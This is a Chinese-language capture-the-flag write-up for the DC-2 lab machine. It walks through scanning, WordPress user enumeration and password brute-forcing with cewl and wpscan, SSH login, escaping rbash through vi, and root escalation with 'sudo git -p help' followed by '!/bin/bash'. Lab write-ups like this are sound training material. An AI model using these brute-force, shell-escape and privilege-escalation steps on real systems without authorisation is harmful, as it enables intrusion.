DC2通关记录
搭建环境
- kali和DC-2的虚拟机设置为统一的网络连接模式(NAT或桥接)
- 更改hosts文件,官网提示需要更改hosts文件才能访问到网站
- windows环境下更改hosts文件进入该目录下
C:\Windows\System32\drivers\etc
,更改hosts文件,在hosts文件中添加192.168.223.130 dc-2
- kali中直接使用vim编辑hosts文件
vim /etc/hosts
,输入文件同上内容192.168.223.130 dc-2
,保存退出:wq
,如果依旧访问不到需要重启网络service networking restart
- windows环境下更改hosts文件进入该目录下
信息收集
确定目标IP
扫描该网段的所有主机,确定靶场IP,使用下面的命令进行扫描
arp-scan -l
扫描结果显示,靶场IP为:192.168.223.130
扫描目标端口及服务
扫描靶场IP,确定靶场开放端口,以及端口对应的服务,使用下面的命令进行扫描
nmap -sC -sV -A -p- -oN dc2_nmap2.txt 192.168.223.130
根据扫描结果显示:
- 靶机开放了80、7744端口
- 靶机的80端口上运行了Apache httpd web服务,版本为2.4.10,其操作系统为Debian
- 靶机的7744端口上运行了ssh服务,版本为6.7p1
指纹识别
使用以下命令进行指纹识别(CMS)
whatweb -v 192.168.223.130
显示使用的建站系统是WordPress[4.7.10]
版本的系统。
目录爆破
爆破网站的目录,并将结果输出并保存到dc2_dirb.txt
文件中。
dirb http://192.168.223.130 -o dc2_dirb.txt
显示敏感目录/wp-admin
漏洞数据库查询
通过指纹识别,该网站搭建使用的是WordPress[4.7.10]
版本的CMS,在漏洞数据库中查询,未发现相应的漏洞。
信息收集内容整理
靶场IP | 192.168.223.130 |
---|---|
操作系统 | linux3.2-4.9 |
开放端口以及服务 | 80/http、7744/ssh |
CMS | wordpress4.7.10 |
查找flag
flag1
-
根据信息收集的内容,IP和开放了80端口,提供http服务,则该靶机上应该有一个网站。尝试直接输入IP,进入网站页面,发现进不去,无法访问页面,但重定向到了dc-2。
-
将dc-2添加进hosts文件,添加内容如下,具体如何添加,看文章最初的搭建环境中的内容
192.168.223.130 dc-2
再次尝试访问,进入网站
- flag1:可以看到页面下有一个flag的标题,尝试点击,点击后显示:
- flag1提示:
网页中的提示英文的释义:
你通常的单词表可能不起作用,所以,也许你只需要保持清醒。密码越多越好,但有时你就是无法赢得所有的密码。以一个人的身份登录以查看下一个标志。如果找不到,请以另一个用户登录。
flag2
根据flag1的提示,以及信息收集中有一个敏感目录,尝试访问目录,发现了一个登陆页面
cewl生成密码字典
使用cewl抓取网站页面出现的单词生成密码字典,并保存到pass.txt文件中,使用命令的是:
cewl http://dc-2/ -w pass.txt
wpscan枚举用户
已有密码字典但没有用户名字典,由信息收集内容得知它是用的wordpress系统建站的,可以使用wpscan工具进行用户枚举。
使用以下命令进行用户名枚举:
wpscan --url http://dr-2/ -e u
扫描结果显示有三个用户:admin、jerry、tom。将用户名保存到user文件中。
wpscan爆破登录密码
现在有用户名字典和密码字典,可以使用wpscan进行密码爆破,使用以下命令进行爆破:
wpscan --url http://dc-2/ -U user -P pass.txt
最后爆破的结果是:
Username:jerry,Password:adipiscing
Username:tom,Password:parturient
使用其中一组用户名密码尝试登录,在点击页面pages标题后,有flag2显示,再次点击显示如下
flag2的提示如下
如果你不能利用WordPress并走捷径,还有另一种方法。希望你找到了另一个入口。
flag3
登录ssh服务
根据flag2的提示,以及信息收集内容该靶场开放了两个端口,此时应该选择另一个端口(7744/ssh)尝试。
先使用jerry用户登录,登录不成功,登录命令如下:
ssh jerry@192.168.223.130 -p 7744
换tom用户登录,登录成功,登录命令如下:
ssh tom@192.168.223.130 -p 7744
找到flag3
尝试找寻有flag文件,命令如下:
find /home -name “*flag*” 2>/dev/nul
搜索结果显示:被rbash禁止了
尝试其他命令;
whoami
pwd
ls
cat
尝试ls,显示了flag3,但无法查看
查找可以使用的命令
echo /home/tom/usr/bin/*
显示有less、ls等命令
使用less查看flag3.txt文件
less flag3.txt
flag3的提示:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
提示使用su命令
flag4
rbash绕过、切换用户身份
使用su命令切换jerry用户,切换不成功,rbash禁止
su jerry
尝试vi的rbash绕过
vi
进入vi后
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/
提权成功:
然后切换用户
搜索flag4
find /home -name “*flag*” 2>/dev/null
cat /home/jerry/flag4.txt
flag4的提示:
很高兴看到你已经走了这么远——但你还没有到家。你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。:-)走吧,离开这里!!!
flag5
获取root权限
为了获取root权限,我们需要找到一个可以提权的漏洞或方法。尝试suid提权 。
看到了sudo,于是我们利用sudo进行提权,继续查看有sudo权限的命令
find / -perm -u=s -type f 2>/dev/null
sudo -l
sudo git -p help
!/bin/bash
这个命令的作用是利用sudo和git的PAGER环境变量来执行一个shell命令,并获取一个交互式的 root shell。这是一种提权的方法,可以让我们以root身份执行任何命令和功能。
搜索flag5
得到权限后,ls查看一下有flag5:
总结
- 使用cewl工具抓取网站内容生成密码字典
cewl 网址 -w pass.txt
- 使用wpscan枚举用户和爆破用户的登陆密码
wpscan --url 网址 -e u
和wpscan --url 网址 -U 用户名字典 -P 密码字典
- rbash绕过的方法:使用vi绕过rbash
vi
进入vi后
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/
- sudo提权方法
sudo git -p help
!/bin/bash